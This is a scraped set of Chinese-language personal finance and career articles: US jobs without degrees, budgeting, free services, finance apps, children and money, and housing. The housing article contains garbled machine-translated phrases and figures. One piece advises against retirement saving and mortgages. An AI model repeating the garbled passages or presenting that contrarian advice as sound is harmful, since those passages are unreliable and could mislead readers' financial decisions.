        据招聘网站CareerBuilder日前的一项调查显示,一般而言,只有高中文凭的上班族失业率(6.1%)是拥有大学学历上班族(3.1%)的两倍,而他们的平均薪资也只有学士学历的一半。但是,《商业内幕》近日援引美国劳工统计局(U.S. Bureau of Labor Statistics,BLS)最新的数据,整理出全美国27个不需要4年制大学学位的高薪工作,这些上榜的工作年薪中位数至少都达6万美元。

        一项调查显示,一般而言,只有高中文凭的上班族失业率(6.1%)是拥有大学学历上班族(3.1%)的两倍,而他们的平均薪资也只有学士学历的一半。(Fotolia)
        一项调查显示,一般而言,只有高中文凭的上班族失业率(6.1%)是拥有大学学历上班族(3.1%)的两倍,而他们的平均薪资也只有学士学历的一半。(Fotolia)

        尽管学历高低造成薪酬差异,但美国的确有一些工作不需要高等学历也可坐拥高薪。上榜27个不需要学位的美国高薪工作,来自各行各业,从航管人员到核能反应堆操作员、从警探到机械安装与维修小组长。其中只需要副学士文凭的航管人员年收入最高,年薪中位数高达122,530美元;其次是需要副学士学历的放射治疗师,年薪中位数为77,560美元;第三名是只要高中毕业或是同等学历的起降机安装与维修工人,其年薪中位数为76,650美元。

        从排名列表可看出,在追求以高学历以增加收入的保证之外,对于那些无法念大学的人仍有许多选择。大部分只需高中文凭的高薪职业,多需要有长期专业机构职业训练后取得证照或是多年相关经验。

        大部分只需高中文凭的高薪职业,多需要有长期专业机构职业训练后取得证照或是多年相关经验。(Fotolia)
        大部分只需高中文凭的高薪职业,多需要有长期专业机构职业训练后取得证照或是多年相关经验。(Fotolia)

        此外,这些上榜的职业至2022年的工作机会,以注册护士需求量最大,高达100多万个,其他还有机械安装与维修小组长有15.2万以及农夫、牧场经理与农业经理的15万。

        以下就是这27个不需学位的美国高薪工作列表。

        1. 航管人员(Air traffic controllers)
        年薪中位数:$122,530(美元,下同)
        学历要求:副学士学历
        至2022年的工作机会:11,400个

        一份报导罗列出27种不需要大学学位的美国高薪工作,其中只需要副学士文凭的航管人员年收入最高。(THOMAS LOHNES/AFP/Getty Images)
        一份报导罗列出27种不需要大学学位的美国高薪工作,其中只需要副学士文凭的航管人员年收入最高。(THOMAS LOHNES/AFP/Getty Images)

        2. 放射治疗师(Radiation therapists)
        年薪中位数:$77,560
        学历要求:副学士学历
        至2022年的工作机会:8,400个

        放射治疗师(Radiation therapists)。(Fotolia)
        放射治疗师(Radiation therapists)。(Fotolia)

        3. 起降机安装与维修工人(Elevator installers and repairers)
        年薪中位数:$76,650
        学历要求:高中或同等学历
        至2022年的工作机会:8,000个

        起降机安装与维修工人(Elevator installers and repairers)。(JOEL NITO/AFP/Getty Images)
        起降机安装与维修工人(Elevator installers and repairers)。(JOEL NITO/AFP/Getty Images)

        4. 核能反应堆操作员(Nuclear power reactor operators)
        年薪中位数:$74,990
        学历要求:高中或同等学历
        至2022年的工作机会:2,300个

        5. 警探与犯罪调查员(Detectives and criminal investigators)
        年薪中位数:$74,300
        学历要求:高中或同等学历
        至2022年的工作机会:27,700个

        6. 商业飞行员(Commercial pilots)
        年薪中位数:$73,280
        学历要求:高中或同等学历
        至2022年的工作机会:14,400个

        7. 发电机分配与调度员(Power distributors and dispatchers)
        年薪中位数:$71,690
        学历要求:高中或同等学历
        至2022年的工作机会:3,600个

        8. 牙科保健师(又称:牙齿卫生员,Dental Hygienist)
        年薪中位数:$70,210
        学历要求:副学士学历
        至2022年的工作机会:113,500个

        9. 核医学技术员(Nuclear medicine technologists)
        年薪中位数:$70,180
        学历要求:副学士学历
        至2022年的工作机会:7,200个

        10. 非零售销售员第一线小组长(First-line supervisors of non-retail sales workers)
        年薪中位数:$70,060
        学历要求:高中或同等学历
        至2022年的工作机会:50,300个

        11. 农夫、牧场经理与农业经理(Farmers, ranchers, and other agricultural managers)
        年薪中位数:$69,300
        学历要求:高中或同等学历
        至2022年的工作机会:150,200个

        12. 核能技师(Nuclear technicians)
        年薪中位数:$69,069
        学历要求:副学士学历
        至2022年的工作机会:4,100个

        13. 丧葬礼仪师(Funeral service directors)
        年薪中位数:$66,720
        学历要求:副学士学历
        至2022年的工作机会:3,200个

        14. 发电厂操作员(Power plant operators)
        年薪中位数:$66,130
        学历要求:高中或同等学历
        至2022年的工作机会:12,900个

        15. 超音波诊断医师(Diagnostic medical sonographers)
        年薪中位数:$65,860
        学历要求:副学士学历
        至2022年的工作机会:35,300个

        16. 注册护士(又称:护理师,Registered nurses)
        年薪中位数:$65,470
        学历要求:副学士学历
        至2022年的工作机会:1,052,600个

        17. 磁共振成像技术员(Magnetic resonance imaging technologists)
        年薪中位数:$65,360
        学历要求:副学士学历
        至2022年的工作机会:11,300个

        18. 赌场经理(Gaming managers)
        年薪中位数:$65,220
        学历要求:高中或同等学历
        至2022年的工作机会:1,400个

        19. 运输督察员(Transportation inspectors)
        年薪中位数:$63,680
        学历要求:高中或同等学历
        至2022年的工作机会:11,700个

        20. 电力线安装和维修工(Electrical power-line installers and repairers)
        年薪中位数:$63,250
        学历要求:高中或同等学历
        至2022年的工作机会:49,900个

        21. 邮局局长与邮政负责人(Postmasters and mail superintendents)
        年薪中位数:$63,050
        学历要求:高中或同等学历
        至2022年的工作机会:5,000个

        22. 地铁与电车操作工(Subway and streetcar operators)
        年薪中位数:$62,730
        学历要求:高中或同等学历
        至2022年的工作机会:3,300个

        23. 网页开发人员(Web developers)
        年薪中位数:$62,500
        学历要求:副学士学历
        至2022年的工作机会:50,700个

        24. 石油泵系统操作工、炼制厂操作工和测量员(Petroleum pump system operators, refinery operators, and gaugers)
        年薪中位数:$61,850
        学历要求:高中或同等学历
        至2022年的工作机会:15,500个

        25. 航空航天工程和操作技工(Aerospace engineering and operations technicians)
        年薪中位数:$61,530
        学历要求:副学士学历
        至2022年的工作机会:2,100个

        26. 天然气厂操作工(Gas plant operators)
        年薪中位数:$61,140
        学历要求:高中或同等学历
        至2022年的工作机会:4,700个

        27. 机械安装与维修小组长(First-line supervisors of mechanics, installers, and repairers)
        年薪中位数:$60,250
        学历要求:高中或同等学历
        至2022年的工作机会:152,000个

        2017-04-28 / by / in , , ,
        想要提升生活品质 首先要学控制预算

        刚开始踏入职场的人习惯过俭朴的生活,随着职业生涯的发展开始赚取更多的钱,这些人有了多余的积蓄之后,一种“提升生活品质的心理”(Lifestyle creep)很容易就产生了。

        人们慢慢地开始多花钱,曾经视作奢侈的商品和消费渐渐地成为了生活必需品。生活开始变得更加精彩、更加昂贵。以往,只有退休前几年的老年人才会这样生活,因为他们已经到达职业生涯收入的黄金阶段,所以他们有本钱享受这一切。

        但如今,这种想要提升生活品质的生活方式已不再不局限于老年人,千禧世代也热衷于此。这一切都始于2008年的金融危机,由于当时就业机会少、工资停滞不前,许多年轻人认为他们永远不会获得任何形式的金融安全。于是他们开始在庆祝活动上花费更多,千禧代比其他世代人购买更多衣服,在电子、汽车,旅游等大项采购上花费更多。

        花钱是乐趣,但是如果你想要的生活品质,花费的增长速度超过你的储蓄和投资速度,则一定要仔细看看哪里出了问题。年轻一代以为退休金足以维持生活,无需其他收入,退休终将成为昂贵而不可及的事情。


        提升生活品质的心理纯粹是一种金融现象,具有高度传染性,通常在你的生活处于最佳状态时发生。因此,为了避免因为提升生活品质而捉襟见肘,需将生活支出控制在收入之下。也就是说,你可以过好的生活,只是不要奢华。此刻,你的人生首次有多余的钱可以支配,不管未来你的收入将会增加多少,你需要制定稳定的生活预算。帮助人们学习如何控制财务预算的营销专家比波多夫(Jeremy Biberdorf)提供以下建议:

        退休金存到最高限

        把你的退休金IRA和401(K)账户存到最高限,这样你退休的时候你会很富有。这些投资对你的未来比任何奢侈品更有影响力。

        善用银行优惠功能

        善用银行自动存款功能可以省下许多银行手续费,也可以采用云端预算解决方案,让银行帮忙规划理财等等。用这些方式省下来的钱可以用在生活必需品,不要让钱从指缝里溜走。

        制定预算

        如果你不知道你的收入都花在什么地方,这可能是因为它被浪费了。可以善用网络资源帮你做预算,了解你赚的每一块钱花到哪里去。如果你能观察一个月的生活消费,你会有一些意外发现。请开始为日常生活花费、储蓄和投资制定预算并坚持下去。

        找便宜的替代品

        每月一次,快速浏览一下所有你的常规支付:保险、娱乐、订阅等。试图找到更便宜的替代品,取消一些用不上的消费,通过谈判尝试得到更便宜的服务。

        还有许多其它既能提升生活品质又能防止钱偷偷溜走的办法,例如,学习自己烹饪食物、卖掉汽车换成自行车,买房的贷款比房屋租金低得多,诸如此类你都可以考虑对你是否可行。

        留意生活品质提升的影响,将额外的资金用于明智的目的就好了。

        2017-04-28 / by / in ,
        大学生就业 需要知道的5个忠告

        美国的大学校园里,几乎都有就业辅导中心协助学生,以学校资源让学生在求学时,就可找到实习的机会以及于毕业后能顺利找到工作。


        校园就业辅导中心提供学生各式各样的活动与服务,包括履历撰写、小组征才、就业博览会或是一对一的求职面谈,以协助学生能够成功地从校园转型到职场。就业辅导中心是一个开启专业生涯的一个很安全且很好的起点。

        《美国新闻与世界报导》在与全美70个大学就业辅导中心合作后,整理出以下5个就业专家给大学生的忠告,希望大学生从学校到职场的转型能够更顺利。

        1. 多利用就业辅导中心

        有很大比例的大学生,并不会主动到校园里的就业辅导中心咨询,这是一件很可惜的事。因为,大学毕业后多数人会选择进入职场,专家认为,学生若不到就业辅导中心询问,就像是缴了学费却没有去上课一样。

        校园内的就业辅导中心能够提供多样化的专业就业建议以及实习机会,甚至提供校友的人脉关系,让求职更容易。

        校园内的就业辅导中心能够提供多样化的专业就业建议以及实习机会,甚至提供校友的人脉关系,让求职更容易。(Fotolia)
        校园内的就业辅导中心能够提供多样化的专业就业建议以及实习机会,甚至提供校友的人脉关系,让求职更容易。(Fotolia)

         

        2. 就业咨商师很愿意帮助

        许多学生不愿意踏进就业辅导中心取得资讯的原因,是担心被贴标签,像是不知如何写履历等。其实,中心内的就业咨商师都很愿意帮助没有工作经验的学生。如果你正在找实习或工作机会,就业咨商师将提供你许多建议与忠告。

        3. 专业技能需要时间培训

        大多数人非天生就知道如何撰写简历、寻找工作机会或是能驾轻就熟地参加面试,这些专业技能是需要时间培训。越早、越多参加就业博览会、招聘会或是模拟面试,你将有更多的机会与商务专业人士互动,并建立自信。

        4. 学生必须为自己的专业发展负责

        离开校园之后,你必须对自己的职场生涯负责。(Fotolia)
        离开校园之后,你必须对自己的职场生涯负责。(Fotolia)

        除非你的表现很杰出或有人引荐,否则要一家企业主动找你面试的机会并不高。离开校园之后,你必须对自己的职场生涯负责。

        当你主动找寻不同的工作机会,并思考如何赢得这些职务时,你成功的机会就会增加。当然,这时若有人在旁给予专业的意见与咨询时,效果会更好。

        5. 良好的人际关系将让你求职过程更顺心

        如果你经常参加校园就业辅导中心举办的活动,你将从每次事件中受益。透过校园就业网络,甚至可与雇主建立关系,当你心目中的企业到校园征才时,就是你与他们发展关系的最佳时机。
        尽管这无法保证你因此被录用,但是,通过每次面试将能增加你被录取的机会。

        2017-04-28 / by / in , ,
        这十项付费服务 可用免费的替代

        削减预算,并不一定意味着要放弃什么。下面这些服务或许你已习惯付费,其实,它们都有很棒的免费替代品,至少在美国是这样。美国生活入门网站about.com的专家做了一番精打细算,现在就了解一下吧!(提示:请留意点阅文中的超链接。)


        1. 有线/卫星电视

        Hulu来收看您喜爱的电视节目吧,甚至HGTV、Lifetime和History等付费频道也包括在内。然后,在电视上加装天线,再找些新节目来吧。大多数电视网目前都有两三个免费频道,所以现在免费电视比以往要多得多。(可到antennaweb.org看看您居住的地区有什么频道。)

        2. 订阅电影

        HuluCrackle上去看免费电影吧。很想看某一部新片吗?注册Redbox(发短信OFFERS 到727272,他们会在每月的第一个周一送你一个免费的租户代码。

        3. 防病毒软件

        把您的付费杀毒软件换成可免费下载的微软安全软件(Microsoft Security Essentials,简称MSE)吧,也可以试试免费的程序如Bitdefender AVGAvast。它们都能让电脑免于病毒和木马的侵袭,而且不收一分钱。

        4. 订阅杂志

        下一次您的杂志提醒您续订时,可用这篇文章里提到的免费订阅源来申请一年的免费阅读;或者,就不要再续订了,到图书馆去看最新一期吧。现在多数的地方图书馆都提供最新杂志(甚至您可以下载到电子版),所以说借和买是一样的(或许还更好,因为你不必处理成堆的杂志)。

        5. 互联网服务

        放弃DSL或宽带,到FreedomPop去换用免费的4G无线上网吧。如果您所在服务不在免费的范围内,在购买其便携Wi-Fi设备的前提下,有低廉的服务可选用。再不然,可到家附近的免费Wi-Fi热点(free wi-fi hot spots)如星巴克、麦当劳等去上网哦。

        6. 手机服务

        FreedomPop提供每月500兆的免费流量;用HeywireTextfree的应用可以免费发短信;用ViberSkype MobileTextfree则可以免费拨打电话。昂贵的话费套餐真的过时了。

        7. 长途电话服务

        取消您座机的长途电话服务,改用SkypeGmail或手机来拨打所有的长途电话吧。

        8. 牙齿保健

        搜索您所在区域的牙科学校,然后浏览这些学校的网站,或打电话去询问,看看他们提供哪些牙科服务。这是得到免费(或便宜)牙齿保健服务的很棒的办法。

        如果你是低收入者,请与当地卫生部门联络,看看他们是否提供免费牙科服务;搜索您所在区域的免费牙科诊所;或查看dentistryfromtheheart.org网站的日程表,看看他们近期是否会来您居住的城市提供服务。

        9. 理发

        了解周边的美容美发学校提供什么服务,在那里剪头发或许会便宜到不收费。其他选择:考虑做个头发模特;或者,如果您有意捐助Locks of Love(惠及少儿的捐发机构),也可查查看自己是否能享受所在城市某家发廊的免费服务

        10. 买健身卡

        许多教会的体育场馆的设施与商业性健身房没什么两样,也有运动场、跑步机、举重房,甚至是健身训练班,而你并不需要成为教会一员。给家附近的几个教堂去电话,从中选择一个锻练场所,不失为一种选择。此外,网上或当地图书馆都能找到免费的健身录像,跟著录像动起来,是另一个选项。

        2017-04-28 / by / in
        五款免费APP 让个人财务井然有序

        如果您已试用过不少手机理财软件,感觉它们都不像说的那样操作简易,也难以把家庭账面整理得井井有条,那么您可能需要了解一下路透社介绍的下面五款超实用的手机APP,要知道,文章作者——财经专栏作家丽兹‧韦斯顿(Liz Weston)把它们都设在了自己的手机主屏上。

        1. FileThis

        丽兹表示,友人向她推荐了 FileThis之后,她大有相见恨晚之感。这款应用程序可以做“无纸化”时代人们经常忘做的事——下载对账单;同时,它也提供对账户活动的概述,并提醒用户及时付账单。


        丽兹用的是 FileThis免费版,可以自动从6个金融机构的网络链接获取报表。由于她在每家银行都有多个账户,所以她能追踪的远不止6个账户,免费版本提供的存储空间则为500兆字节(megabytes)。

        要获得与更多机构账户的联结以及更大的存储空间,可以支付2美元的月费,联结12个金融机构并获得1GB的存储空间;也可以支付5美元,联结30个金融机构并获得10GB的存储空间。用户还可以选择将报告下载到其它的云端空间如 DropBox 、Evernote或者是电脑中。

        2. ItsDeductible

        很多人每年都会向慈善机构捐出大批的衣服、玩具、书籍和生活用品,但在每年报税时,要搞清这些东西的价值来进行税金抵扣可真是件苦差事。Intuit开发的应用程序 ItsDeductible 则可帮我们做捐赠记录,并且提供常见物件的市场价。报税软件TurboTax的用户可以直接将有关信息下载到纳税申报单中,而丽兹每年则会给她的税务顾问打印一份年度捐赠报告。

        3.  DropBox

        对很多人来说,随时从随身设备读取文件是工作需要;旅行时,云端存储可提供方便,发生自然灾害时也会有备无患。丽兹经常会把旅行需要的证件文书、保险条款说明、评估报告、家庭库存单、往年的纳税申报单等重要文书扫描上传到 DropBox

        在使用多年的免费服务后,丽兹最近达到了2 GB的存储上限,由此缴了99美元的年费,升级到了1 TB空间。

        4. 手机银行

        丽兹在试用了手机银行的“支票存款”功能后,十分同意理财师迈克尔‧凯茨斯(Michael Kitces)的观点,他将手机银行称之为他财务生活的“重要部分”。

        凯茨斯是马里兰州财富管理公司品尼高(Pinnacle Advisory Group)的研究主管。他说,“最近两年,我妻子和我只去过一次银行——去拿公证的法律文件。这太棒了。”

        除了存款,手机银行应用程序还可以做这些事:转账,支付账单,发提醒讯息,搜寻免手续费的自动取款机等,故而已成为丽兹个人最常用的移动金融助手。

        5.Mint

        Mint网站(及其手机应用程序)是Intuit开发的免费个人理财聚合平台,其250万个用户每月可以在此追踪支出、监控信用评分,并可通过自动下载银行、信用卡和投资账户的转账活动数据来避免金融欺诈。

        这个平台也大受财务顾问们的青睐。罗得岛州注册会计师大卫.阿尔蒙特(David Almonte)表示,“Mint可以将你所有的财务活动归总到一个地方,让你一览无遗。”

        如果你是一个活跃的投资者,可能会更喜欢用 Personal Capital ,其免费“专案组合管理”(Portfolio Management)功能更胜一筹。丽兹很喜欢 Personal Capital 优雅、无广告的Dashboard图表控件,不过不太喜欢接到推销收费咨询服务的电话和电邮(该项服务是网站的收入来源)。

        登录聚合网站时必须提供自己的金融账户讯息,而这些网站的隐私和安全条款很让人放心。丽兹本人曾多次被其它的数据库漏洞所害,包括Anthem和索尼,所以知道并不是不上网就一定是安全的。她认为,我们有太多的私人信息存储在一些有安全漏洞的数据库里,而这个聚合网站至少让人可以有选择地分享个人资讯。@*

        2017-04-28 / by / in ,
        害你不能致富的六个错误理财观

        网路上有很多教人致富的“奇招妙法”,但多数作者却不是真正的富人。其中有些怪点子宣扬过穷日子,如叫人不吃午餐省钱、不买昂贵咖啡、头发把它剪得很短等等怪方法来存钱。节俭是项美德,但不代表必须不情愿的刻意降低生活品质。

        经商高手、也是白手起家的大富翁Daniel Ally主张过富裕生活,他认为,牺牲那些简朴的小快乐非但不会致富,还会把人逼得更加失意。那么如何才能真正累积财富呢?答案就在赚钱的思维模式。

        迈向致富之路首先必须扭转金钱观,把想法调整过来就能创造正向成果,找到自身价值。本文摘录Ally提出的六个常见理财错误,供读者参考。


        1. 不懂得投资自己

        美国首位百万富翁富兰克林(Benjamin Franklin)有句名言:“投资自己获利最大。”很多人都想靠老板为自己做教育训练或提供书与资料,但你若真想飞黄腾达,教育训练的事一定要自己来,你要投资你自己。

        2. 信用卡购物

        有时候我们会为了虚荣,用信用卡去购买自己负担不起的东西,然后再忍痛付大笔利息,实在大可不必。想成为有钱人,应该运用信用卡来扩大自己的事业,不要用在无谓的借贷。

        3. 付房贷

        贷款买房子稀松平常,但贷款会使人不断为钱奔忙,永无宁日,而且房贷很可能得多花一倍的钱!有钱人在没钱时会先租房子,直到能用现金买房子为止。

        4. 存退休金

        退休制度对有钱人来讲,简直避之唯恐不及。如果你想靠某些基金或寿险来养老,开个玩笑,还不如去搭铁达尼号(Titanic)算了。另外,若你存钱是为了等六十岁以后再享用,就如同把性生活存放起来,等退休再享受一样可笑!别这么做,年轻时就好好去创造财富。

        5. 买劣质商品

        价钱导向的人或喜欢用折价券的人可能无法接受这一点。但俗话说,一分钱一分货,所以不要去买便宜货,要买最好用的商品。例如,买一件可穿四年的四十元衬衫,胜过去买只能穿一年的十元衬衫。

        6. 为钱而工作

        一般人可能觉得“为钱工作”理所当然,可是有钱人却是让钱为他工作。在有钱人眼中,他的财富是服务市场、贡献社会后的一项副产品,这便是富人绝不为钱工作的原因。

        2017-04-28 / by / in , , ,
        美国人账户余额增两倍 有效理财很关键

        美国人目前的支票账户余额平均达到5,459美元,比2008年前的水平增长了两倍多,这说明美国人的经济状况继续改善。然而在这类账户中储蓄过多现金,而不善加管理,并非是好事。


        据“今日美国”新闻报导,经济研究机构Moebes Services的数据显示,2015年第一季度,美国人支票账户余额平均为5,459美元,比2008年之前的水平增长了两倍多。这可能是因为美国人为随时支取账户中的现金,用于支付账单和各项生活开支所做的未雨绸缪,同时也为避免因账户余额不足,而被收取透支费用。经济危机后,越来越多的美国银行开始增设这项费用。

        过去16年来,美国许多银行收取的透支费用(overdraft fee)年年增高。据Bankrate.com在2015年下半年的调查,银行账户存款余额一旦低于零所衍生的透支费平均为32.74元,提款机跨行提款费则平均为4.35%,比前一年上升5%。

        光是单纯的在银行保有支票账户也得缴纳费用,而且也逐年上涨。根据调查,支票账户维持费全美平均为12.87美元,比六个月前增加18美分。

        投资分析师说,在支票账户中存储过多现金,意味着你没有将多余的现金用于投资或做合理管理,从而将失去更多的资金回报率。

        对于在支票账户中存放多少现金合适,专家有如下分析。

        了解每月支出情况 制定存款上限

        首先,你需了解自己每月的各项支出项目和金额。为准确了解情况,可以对自己的每项支出做记录,并持续三个月。这些费用可能包括水、电、煤气、汽油费用和健身费、会员费等常规项目,还可能包括一些不太经常发生的费用,所以需要对此持续记录三个月。

        在以上各项费用总额的基础中,再增加30%的金额,就是你需要在支票账户留存的现金数额。这30%的额度是为不时之需和防止账户透支而被银行收费。

        把多余现金 存入其它可增值账户

        由于支票账户基本上不产生利息,把多余现金存在这里如同一种浪费,应将这部分钱存入其它可升值的账户,比如为自己增开一个退休账户。或者,许多网络银行提供较高利息的支票账户,可以将多余现金存放在这里。

        有的储蓄账户也能提高较高的存款利息,也可以将多余现金存在这里。#

        2017-04-28 / by / in ,
        会计师教小孩理财 只能花一半

        帮小孩留下财富,若没教他理财,反而可能误他一生。会计师建议,可让10岁后的小孩开始记账,并灌输“只能花一半”的观念,让孩子养成对自己财务负责的观念。


        勤业众信(Deloitte)会计师郭慈容拥有一对宝贝儿女。尽管学龄前儿童的数字观念不是非常清楚,她仍从小孩念幼稚园开始就带着上超商购物,透过简单的计算,来建立他们对数字的敏感度。

        此外,郭慈容每次向银行理财咨询时,也带着孩子。她说:“这是让他们能参与父母理财的过程。”她儿子之前参与理财咨询时总爱问“妈妈为什么要这样买?”,现在她已可向儿子清楚解释原因,双向沟通。

        郭慈容提醒:“千万不能对他说‘小孩子不懂啦’这样的话,才能鼓励孩子勇于发问,这有助孩子在生活中学习理财。”

        拥有一对千金的勤业众信会计师江美艳,则在孩子10岁时开始培养她们的记账习惯。

        她说:“10岁以后,小孩认识的文字较多,也具备基本加减能力。”她会购买简易记账本,教孩子记录收入、支出、结余,要求孩子把每一分支出和收入都记录下来,养成掌握金钱的习惯。

        经常得审核客户财报的会计师,对数字特别敏感。让女儿记账之外,这位会计师妈妈还会定期“抽查盘点”女儿的“手边现金”,是否跟记账本上的“结余”相符。如果抽查发现不符,江美艳会对孩子施以罚款,让她们对记账这件事情不敢轻忽。

        江美艳说,孩子看着记账本现金余额的增减,对“消费”会更“有感”,进一步也更能分辨“需要”和“想要”的差异,并思考如何“开源节流”。

        她举例,今年春节女儿收了大笔红包,一下进账1万多元,但烫头发就用掉3000多元。女儿看到记账本上的余额一下从5位数减为4位数还惊呼:“钱一下子减少好多,压力好大!”可见记账能培养孩子对金钱流入流出的敏感度。

        不过,针对小孩的个性“因材施教”也非常重要。郭慈容说,她女儿比较没有数字观念,小时候会“有多少花多少”,导致钱不够花,还跟弟弟借钱。

        当女儿逐渐体会到缺钱的不自由,郭慈容教她“只能花一半”的观念,让孩子知道储蓄的重要,进一步养成对自己财务负责的观念。她说:“结果现在女儿比儿子还节省。”

        2017-04-28 / by / in ,
        美国初中生真实体验如何理财

        当孩子大手大脚花钱的时候,父母总会对他们说:“钱不是从树上长出来的。”从1965年开始,这个名为青年成就(Junior Achievement,简称JA)的组织就开始与当地企业合作,教各个年龄层的学生有关钱的知识:钱从哪里来以及如何理财。美国之音记者跟随一群初中生体验了一把。这些青少年在几个小时的时间里有机会像父母那样挣钱、而且还要自己拿主意是花钱还是存钱。

        这不是普通的教学日,但是这些初中生来在青年成就金融乐园所学的东西将让他们受用一生。
        乐园设计得像一个购物广场。

        青年成就大华盛顿地区分部的艾德·格雷尼尔说:“我们让来这里的学生觉得有趣和有互动。”

        在他们去商店之前,他们先在这里学习怎样做个大人,而他们在一天里都要扮演这个角色。

        格雷尼尔说:“我们给他们一个真实情景,有的人是42岁,已婚、有3个孩子,挣了那么多钱,然后他们要在一天里做出月预算。”

        八年级学生葆拉·范图拉的角色是:“我是个单身母亲,有两个孩子,34岁。”

        每个学生都能拿到一个平板电脑用来制定全家人的预算。一路下来不断感到意外。

        范图拉说: “我们要在医保、保险等一些东西上花一笔钱。我知道这不容易,但我妈妈花钱的时候我从来没问过是什么钱,也从来没怎么注意过。”

        学生们来这里现场学习体验之前,已经学完了14个小时的深入的金融知识课程,学习了预算、银行、信贷和税收等知识。

        青年成就大华盛顿地区分部的格雷尼尔说:“美国有450万学生。全世界有近1000万的学生在学习金融知识。”

        这个项目是与第一资本银行进行的合作。

        第一资本发言人瑞恩·斯马特说:“我们确实认为,金融知识和读写同样重要。算术是教育的核心组成部分之一,是学生未来成功所必须的。”

        第一资本的员工担任指导老师。

        八年级学生默罕默德·阿巴斯说:“管理账单和支票比看起来要难。”

        默罕默德说,他很高兴,自己在几个月后的暑期打工开始前上了这些课。

        他说:“我学会不要乱花钱。新的东西并不一定是更好的。”

        而且花的比挣的少总是好的。这也是项目组织者希望这些孩子在今后的人生中能够记住的。

        2017-04-28 / by / in , , ,
        从小培养金钱观 理财从压岁钱开始

        每逢新年,小孩子最开心的,莫过于可拿到长辈给的压岁钱,若是大家族,领到的红包可能相当可观。理财专家建议,与其帮小孩“保管”,不如帮小孩投资,并指导用钱观念。

        财经专家黄世聪说,学龄前儿童没什么用钱机会,且投资对他们来说仍显困难,因此父母可“代为操刀”,将压岁钱其中的8成拿来替小孩投资,无论是为小孩规划保险、或是买长线稳健的科技型基金或货币型基金,或者累积教育基金,未来都能“取之于孩子、用之于孩子”。

        至于另外的2成,则建议让孩子自己持有,并从“用钱”开始指导理财观念。

        黄世聪建议,可先要求小孩养成记账的习惯,“看到自己账目上的余额有限,他就会懂得控制开销”。比起小孩要什么就给什么,让他们衡量自身能力、并用自己的钱购买想要的东西,更能让小孩建立正确的用钱观念。

        也有另一派理财专家建议,可让小孩用扑满、信封做预算编列,“就是账户分流的概念”。父母可帮小孩准备数个扑满,分成投资、消费、紧急备用等用途,让小孩将压岁钱分别存在这些扑满,“小孩想买东西,就只能从‘消费’的扑满里拿钱”,如此一来,小孩就可学会控制预算,并遏制消费欲望。

        专家也提醒,既然决定让孩子自己运用压岁钱,就应尊重孩子的消费决定,“小孩子因为年轻,可承担的风险与错误较大,即使金钱运用上出了差错,只要及时改正就好;且从错误中学习,印象会更加深刻”。建议父母应扮演“从旁协助”的角色,让孩子从每次的金钱运用中,逐步了解金钱的价值,进而规划出美好人生愿景。


         

        2017-04-28 / by / in ,
        库存减少利率上扬 美国人买房面临挑战

        最新调查表明,因为房产供不应求,房主未来可能需要作出重大的理财妥协,减少用于应急和退休储蓄的资金而将其投入房产。


         “今日美国”2月1日援引Owners.com的调查报告说,约60%的消费者表示,自己的储蓄将优先用于住房,而不是紧急情况或退休储备,72%的消费者表示将限制自己对房产外的投资。

        调查指出,虽然大多数消费者优先考虑买房,但是没有足够的经济承受能力,这种情况令人担忧0.69%的消费者担心没有足够的首付现金。

        受访者表示,除了缩减其它资金储备,还将缩小所期待购买的房产规模。如51%将考虑购买一所固定器,上(有待做修缮的廉价屋),36%想购买比理想尺寸小一些的房屋。

        美元纸钞(摄影:王嘉益/大纪元)
        购房者需要改变理财策略,以便缓解支付压力(王嘉益/大纪元)

        “在许多地区,限制库存,提高租金,房价和抵押贷款利率,这意味着不容易找到首次购房者。”全国房地产经纪人协会(全国房地产经纪人协会)首席经济学家劳伦斯允许(劳伦斯·云)说:“而对于首次购房者来说,需要更多符合条件的供给,就业持续增长,更大的工资增长幅度,才能占据更大的市场份额。”

        报导说,全国搜狐网站经纪人协会称,12月份的房屋库存总量与去年同期相比,下降了6.3%,连续降低19个月。供应紧缩正在推高价格,导致现有住宅的中位价上涨4%。

        因此,购房者承受多方压力。最近,30网络出版总库年抵押贷款利率从去年10月下旬的3.47%上升至4.19%,导致房主每月支付增加。

        此外,住房需求虽有增长以及经济呈现增长势头,但是住房建设领域仍然处于复兴阶段而保持缓慢增长状态。

        专家认为,虽然买家面临挑战,但是买房住仍然是比租赁更好的投资选择。

        主权金融集团(Sovereign Financial Group)主席查克。菲拉(Chuck Failla)说:“在我看来,如果打算在一个地方居住期超过七年,应该购买住屋。”

        2017-04-28 / by / in ,
        丰盈的人生 理财摆最后

        理财目的是达到惬意的富足人生,盈开富贵说,得拥有健康的身体、无后顾之忧的家庭,以及稳健的事业之后,人生才开始有理财与投资的课题。但理财要能成功,必须具有管理财富的能力,与丰富的人生阅历,及平稳的心性等条件,综合的鉴赏力决定理财成就的高低。


        投资顺序:先确保安全 其次买房

        她说,理财的定义是能安全地把财富从一倍增至百倍,但投资之前得厘清顺序,否则无法达到目的。投资前的首要条件是得有财富安全网,一般约用年收入的1/10购买保险,才可保障当工作能力出现风险后,家庭能有稳固的现金流。她特别提醒,保险归保险,不要把保险拿来当投资工具。不要使用低利率等年金险作为投资工具,容易被通货膨胀给打败。

        接着是购买房子,综观全球经验,让财务分配最大差异化的工具就属房地产,因此建议年轻人,即使房价再贵,还是要尽量购买低总价、负担得起的房子。蛋黄区房价买不起,买蛋白及蛋壳区或以外的房产,而非投入汽车等折旧率高的工具,否则几年后财富恐被边缘化。达成前两项条件后,若有多余的金钱,还得投资自己,创造第二专长并找到所属的投资圣杯,接着复制成功经验进行投资,理财才容易成功。

        此外,进入理财的阶段之前,还得先确立目标,知道投资的目标是为存退休金、房产头期款,或是供子女出国游学,并厘清还有多少时间准备,如此才能选对工具。

        小钱勿忽视 认识理财工具

        盈开富贵说,切莫忽略时间与小钱加乘之后的威力,以她个人为例,每年为小孩存下2万元的压岁钱,选择年投资报酬率15%的工具,19年之后(小孩进入大学一年级)就为孩子存下了约两百万元。

        最后,对理财工具的年化报酬率也要有一定的认识,包括:股票近十年约是4~15%间,债券是4.7~6.7%,房地产为11~20%等,此外还有选择权、期货、黄金存折等工具。必须明白各项工具的平均预期报酬率。◇#

         

        2017-04-28 / by / in ,
        专家盘点:攒不下钱6大特征

        有人年薪300万日元,却有上千万存款;有人年薪500万日元,却在月末一边啃面包一边等着下次发工资……为什么工资总好像不翼而飞?这个问题困扰著许多“月光族”。


        日本理财专家村越克子说,其实攒不下来钱的人,都有以下6大特征。快来看看自己中了几条。

         .喜欢出门逛街

